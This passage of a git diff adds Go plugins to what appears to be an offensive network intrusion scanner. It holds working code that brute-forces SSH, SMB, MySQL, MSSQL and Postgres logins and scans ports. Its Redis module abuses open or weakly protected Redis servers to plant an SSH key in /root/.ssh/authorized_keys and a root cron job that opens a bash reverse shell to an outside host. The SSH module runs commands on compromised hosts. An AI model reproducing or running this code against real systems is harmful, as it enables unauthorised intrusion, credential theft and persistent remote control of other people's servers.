||||
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
|
46
Plugins/mysql.go
Normal file
46
Plugins/mysql.go
Normal file
@ -0,0 +1,46 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
|
||||
|
||||
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["mysql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := MysqlConn(info,user,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
147
Plugins/portscan.go
Normal file
147
Plugins/portscan.go
Normal file
@ -0,0 +1,147 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"../common"
|
||||
)
|
||||
|
||||
func ParsePort(ports string) []int {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
sort.Strings(ranges)
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
|
||||
Timeout := time.Duration(adjustedTimeout) * time.Second
|
||||
for port := range ports{
|
||||
start := time.Now()
|
||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
|
||||
duration := time.Now().Sub(start)
|
||||
if err == nil {
|
||||
defer con.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open",address)
|
||||
common.LogSuccess(result)
|
||||
respondingHosts <- address
|
||||
}
|
||||
if duration < Timeout {
|
||||
difference := Timeout - duration
|
||||
Timeout = Timeout - (difference / 2)
|
||||
}
|
||||
}
|
||||
done <- true
|
||||
}
|
||||
|
||||
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
|
||||
ports := make(chan int, 20)
|
||||
results := make(chan string, 10)
|
||||
done := make(chan bool, threads)
|
||||
|
||||
for worker := 0; worker < threads; worker++ {
|
||||
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
|
||||
}
|
||||
|
||||
for _,port := range probePorts{
|
||||
ports <- port
|
||||
}
|
||||
close(ports)
|
||||
|
||||
var responses = []string{}
|
||||
for {
|
||||
select {
|
||||
case found := <-results:
|
||||
responses = append(responses, found)
|
||||
case <-done:
|
||||
threads--
|
||||
if threads == 0 {
|
||||
return responses, nil
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
return responses, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
|
||||
var AliveAddress []string
|
||||
var aliveHosts []string
|
||||
probePorts := ParsePort(ports)
|
||||
lm := 20
|
||||
if (len(hostslist)>5 && len(hostslist)<=50) {
|
||||
lm = 40
|
||||
}else if(len(hostslist)>50 && len(hostslist)<=100){
|
||||
lm = 50
|
||||
}else if(len(hostslist)>100 && len(hostslist)<=150){
|
||||
lm = 60
|
||||
}else if(len(hostslist)>150 && len(hostslist)<=200){
|
||||
lm = 70
|
||||
}else if(len(hostslist)>200){
|
||||
lm = 75
|
||||
}
|
||||
|
||||
thread := 5
|
||||
if (len(probePorts)>500 && len(probePorts)<=4000) {
|
||||
thread = len(probePorts)/100
|
||||
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
|
||||
thread = len(probePorts)/200
|
||||
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
|
||||
thread = len(probePorts)/350
|
||||
}else if (len(probePorts)>10000 && len(probePorts)<50000){
|
||||
thread = len(probePorts)/400
|
||||
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
|
||||
thread = len(probePorts)/500
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, lm)
|
||||
aliveHost := make(chan string, lm/2)
|
||||
go func() {
|
||||
for s := range aliveHost {
|
||||
fmt.Println(s)
|
||||
}
|
||||
}()
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
|
||||
mutex.Lock()
|
||||
aliveHosts = append(aliveHosts,host)
|
||||
for _,addr :=range aliveAdd{
|
||||
AliveAddress = append(AliveAddress,addr)
|
||||
}
|
||||
mutex.Unlock()
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(aliveHost)
|
||||
return aliveHosts,AliveAddress
|
||||
}
|
46
Plugins/postgres.go
Normal file
46
Plugins/postgres.go
Normal file
@ -0,0 +1,46 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["postgresql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := PostgresConn(info,user,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
|
||||
|
208
Plugins/redis.go
Normal file
208
Plugins/redis.go
Normal file
@ -0,0 +1,208 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
flag,err := RedisUnauth(info)
|
||||
if flag==true && err==nil {
|
||||
wg.Done()
|
||||
<- ch
|
||||
return
|
||||
}
|
||||
|
||||
Loop:
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string("redis"), -1)
|
||||
flag,err := RedisConn(info,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return flag,err
|
||||
}
|
||||
defer conn.Close()
|
||||
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
|
||||
reply,err := readreply(conn)
|
||||
//common.LogSuccess(result)
|
||||
if strings.Contains(reply,"+OK"){
|
||||
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
Expoilt(info ,realhost,conn)
|
||||
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return flag,err
|
||||
}
|
||||
defer conn.Close()
|
||||
conn.Write([]byte("info\r\n"))
|
||||
reply,err := readreply(conn)
|
||||
if strings.Contains(reply,"redis_version"){
|
||||
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
Expoilt(info ,realhost,conn)
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
|
||||
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
|
||||
flagSsh,flagCron := testwrite(conn)
|
||||
if flagSsh == true{
|
||||
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
|
||||
common.LogSuccess(result)
|
||||
if info.RedisFile != ""{
|
||||
if writeok,text := writekey(conn,info.RedisFile);writeok{
|
||||
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
|
||||
common.LogSuccess(result)
|
||||
}else {
|
||||
fmt.Println(realhost,"SSHPUB write failed",text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true{
|
||||
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
|
||||
common.LogSuccess(result)
|
||||
if info.RedisShell != "" {
|
||||
if writeok,text := writecron(conn,info.RedisShell);writeok{
|
||||
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
|
||||
common.LogSuccess(result)
|
||||
}else {
|
||||
fmt.Println(realhost,"cron write failed",text)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func writekey(conn net.Conn,filename string) (flag bool,text string) {
|
||||
flag = false
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
key,_ := Readfile(filename)
|
||||
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(text) > 50{
|
||||
text = text[:50]
|
||||
}
|
||||
return flag,text
|
||||
}
|
||||
|
||||
|
||||
|
||||
func writecron(conn net.Conn,host string) (flag bool,text string) {
|
||||
flag = false
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
|
||||
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(text) > 50{
|
||||
text = text[:50]
|
||||
}
|
||||
return flag,text
|
||||
}
|
||||
|
||||
func Readfile(filename string)(string,error){
|
||||
file, err := os.Open(filename)
|
||||
if err!=nil{
|
||||
fmt.Println("Open %s error, %v", filename,err)
|
||||
return err.Error(),err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
//scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
//text := strings.TrimSpace(scanner.Text())
|
||||
text := scanner.Text()
|
||||
if text != "" {
|
||||
return text,nil
|
||||
}
|
||||
}
|
||||
return err.Error(),err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (result string,err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result += string(buf[0:count])
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result,err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
|
||||
flagSsh = false
|
||||
flagCron = false
|
||||
var text string
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(string(text),"OK") {
|
||||
flagSsh = true
|
||||
}
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(string(text),"OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flagSsh,flagCron
|
||||
}
|
87
Plugins/scanner.go
Normal file
87
Plugins/scanner.go
Normal file
@ -0,0 +1,87 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"errors"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||
f := reflect.ValueOf(m[name])
|
||||
if len(infos) != f.Type().NumIn() {
|
||||
err = errors.New("The number of infos is not adapted.")
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
// //os.Exit(0)
|
||||
}
|
||||
}
|
||||
in := make([]reflect.Value, len(infos))
|
||||
for k, info := range infos {
|
||||
in[k] = reflect.ValueOf(info)
|
||||
}
|
||||
result = f.Call(in)
|
||||
return result,nil
|
||||
}
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func Scan(info *common.HostInfo) {
|
||||
Hosts,_ := common.ParseIP(info.Host)
|
||||
if info.Isping == false{
|
||||
Hosts = ICMPRun(Hosts)
|
||||
}
|
||||
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"}
|
||||
for _,port:=range common.PORTList{
|
||||
severports = append(severports,strconv.Itoa(port))
|
||||
}
|
||||
severports1 := []string{"1521"}
|
||||
var ch = make(chan int,info.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
var scantype string
|
||||
for _,targetIP :=range AlivePorts{
|
||||
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
|
||||
info.Host = scan_ip
|
||||
if info.Scantype == "all"{
|
||||
if IsContain(severports,scan_port){
|
||||
//scantype = scan_port
|
||||
AddScan(scan_port,info,ch,&wg)
|
||||
}else {
|
||||
if !IsContain(severports1,scan_port){
|
||||
info.Url = fmt.Sprintf("http://%s",targetIP)
|
||||
wg.Add(1)
|
||||
go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg)
|
||||
ch <- 1
|
||||
}
|
||||
}
|
||||
if scan_port == "445"{
|
||||
AddScan("1000001",info,ch,&wg)
|
||||
AddScan("1000002",info,ch,&wg)
|
||||
}
|
||||
|
||||
}else {
|
||||
port,_:=common.PORTList[info.Scantype]
|
||||
scantype = strconv.Itoa(port)
|
||||
AddScan(scantype,info,ch,&wg)
|
||||
//wg.Add(1)
|
||||
//go scan_func(PluginList,scantype,info,ch,&wg)
|
||||
//ch <- 1
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
go scan_func(PluginList,scantype,info,ch,wg)
|
||||
ch <- 1
|
||||
}
|
75
Plugins/smb.go
Normal file
75
Plugins/smb.go
Normal file
@ -0,0 +1,75 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"context"
|
||||
)
|
||||
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["smb"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
//fmt.Println(user,pass)
|
||||
//flag,err := SmblConn(info,user,pass)
|
||||
flag,err := doWithTimeOut(info,user,pass)
|
||||
//fmt.Println(user,pass,flag,err)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: Port,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: "",
|
||||
Workstation: "",
|
||||
Timeout: info.Timeout,
|
||||
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
//fmt.Println(err)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
|
||||
//ctx,cancel := context.WithTimeout(context.Background(),1*time.Second)
|
||||
defer cancel()
|
||||
signal := make(chan int,1)
|
||||
go func() {
|
||||
flag,err = SmblConn(info,user,pass)
|
||||
signal <- 1
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-signal:
|
||||
return flag,err
|
||||
case <-ctx.Done():
|
||||
return false,err
|
||||
}
|
||||
}
|
68
Plugins/ssh.go
Normal file
68
Plugins/ssh.go
Normal file
@ -0,0 +1,68 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
//SshConn(info,"oracle","oracle",ch,wg)
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["ssh"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
//wg.Add(1)
|
||||
//var good bool
|
||||
//go SshConn(info,user,pass,ch,wg)
|
||||
//if good == true{
|
||||
// break Loop
|
||||
//}
|
||||
flag,err := SshConn(info,user,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
|
||||
//fmt.Println(Host,Port,Username,Password)
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.Password(Password),
|
||||
},
|
||||
Timeout: time.Duration(info.Timeout)*time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil { //if err == nil && errRet == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
if info.Command != ""{
|
||||
combo,_ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
|
||||
common.LogSuccess(result)
|
||||
}else {
|
||||
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
|
||||
}
|
84
Plugins/webtitle.go
Normal file
84
Plugins/webtitle.go
Normal file
@ -0,0 +1,84 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||
err,result = geturl(info)
|
||||
wg.Done()
|
||||
<-ch
|
||||
return err, result
|
||||
}
|
||||
|
||||
|
||||
func geturl(info *common.HostInfo) (err error, result string) {
|
||||
url := info.Url
|
||||
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
|
||||
res,err:=http.NewRequest("GET",url,nil)
|
||||
if err==nil{
|
||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept","*/*")
|
||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||
res.Header.Add("Connection","close")
|
||||
resp,err:=client.Do(res)
|
||||
if err==nil{
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
re :=regexp.MustCompile("<title>(.*)</title>")
|
||||
find := re.FindAllStringSubmatch(string(body),-1)
|
||||
if len(find) > 1{
|
||||
title = find[0][1]
|
||||
}else {
|
||||
title = "None"
|
||||
}
|
||||
if len(title) > 20{
|
||||
title = title[:20]
|
||||
}
|
||||
if resp.StatusCode == 400 && string(url[5]) != "https"{
|
||||
info.Url = strings.Replace(url, "http://", "https://", 1)
|
||||
return geturl(info)
|
||||
}else {
|
||||
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err, result
|
||||
}
|
||||
}
|
||||
return err, ""
|
||||
|
||||
//fmt.Print("\n")
|
||||
}
|
||||
//var client = &http.Client{
|
||||
// Transport:&http.Transport{
|
||||
// DialContext:(&net.Dialer{
|
||||
// Timeout:time.Duration(info.Timeout)*time.Second,
|
||||
// }).DialContext,
|
||||
// },
|
||||
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||
// return http.ErrUseLastResponse
|
||||
// },
|
||||
//}
|
||||
|
||||
//if info.Cookie!=""{
|
||||
// res.Header.Add("Cookie",info.Cookie)
|
||||
//}
|
||||
//if info.Header!=""{
|
||||
// var header = make(map[string]string)
|
||||
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||
// if err!=nil{
|
||||
// Misc.CheckErr(err)
|
||||
// }
|
||||
// for k,v:=range header{
|
||||
// res.Header.Add(k,v)
|
||||
// }
|
||||
//}
|
117
common/Parse.go
Normal file
117
common/Parse.go
Normal file
@ -0,0 +1,117 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo){
|
||||
ParseUser(Info)
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
ParseScantype(Info)
|
||||
}
|
||||
|
||||
|
||||
|
||||
func ParseUser(Info *HostInfo){
|
||||
if Info.Username!=""{
|
||||
uesrs := strings.Split(Info.Username, ",")
|
||||
for _,uesr := range uesrs{
|
||||
if uesr !=""{
|
||||
Info.Usernames = append(Info.Usernames,uesr)
|
||||
}
|
||||
}
|
||||
for name := range Userdict{
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
if Info.Userfile!=""{
|
||||
uesrs,err := Readfile(Info.Userfile)
|
||||
if err == nil {
|
||||
for _, uesr := range uesrs {
|
||||
if uesr != "" {
|
||||
Info.Usernames = append(Info.Usernames, uesr)
|
||||
}
|
||||
}
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ParsePass(Info *HostInfo){
|
||||
if Info.Password!=""{
|
||||
passs := strings.Split(Info.Password, ",")
|
||||
for _,pass := range passs{
|
||||
if pass !=""{
|
||||
Info.Passwords = append(Info.Passwords,pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
}
|
||||
if Info.Passfile!=""{
|
||||
passs,err := Readfile(Info.Passfile)
|
||||
if err == nil{
|
||||
for _,pass := range passs{
|
||||
if pass !=""{
|
||||
Info.Passwords = append(Info.Passwords,pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Readfile(filename string)([]string,error){
|
||||
file, err := os.Open(filename)
|
||||
if err!=nil{
|
||||
fmt.Println("Open %s error, %v", filename,err)
|
||||
return nil,err
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content=append(content,scanner.Text())
|
||||
}
|
||||
}
|
||||
return content,nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
func ParseInput(Info *HostInfo){
|
||||
if Info.Host==""{
|
||||
fmt.Println("Host is none")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
if Info.Outputfile != ""{
|
||||
Outputfile = Info.Outputfile
|
||||
}
|
||||
if Info.IsSave == true{
|
||||
IsSave = false
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo){
|
||||
_,ok:=PORTList[Info.Scantype]
|
||||
if !ok{
|
||||
fmt.Println("The specified scan type does not exist")
|
||||
fmt.Println("-m")
|
||||
for name,_:=range PORTList{
|
||||
fmt.Println(" ["+name+"]")
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
131
common/ParseIP.go
Normal file
131
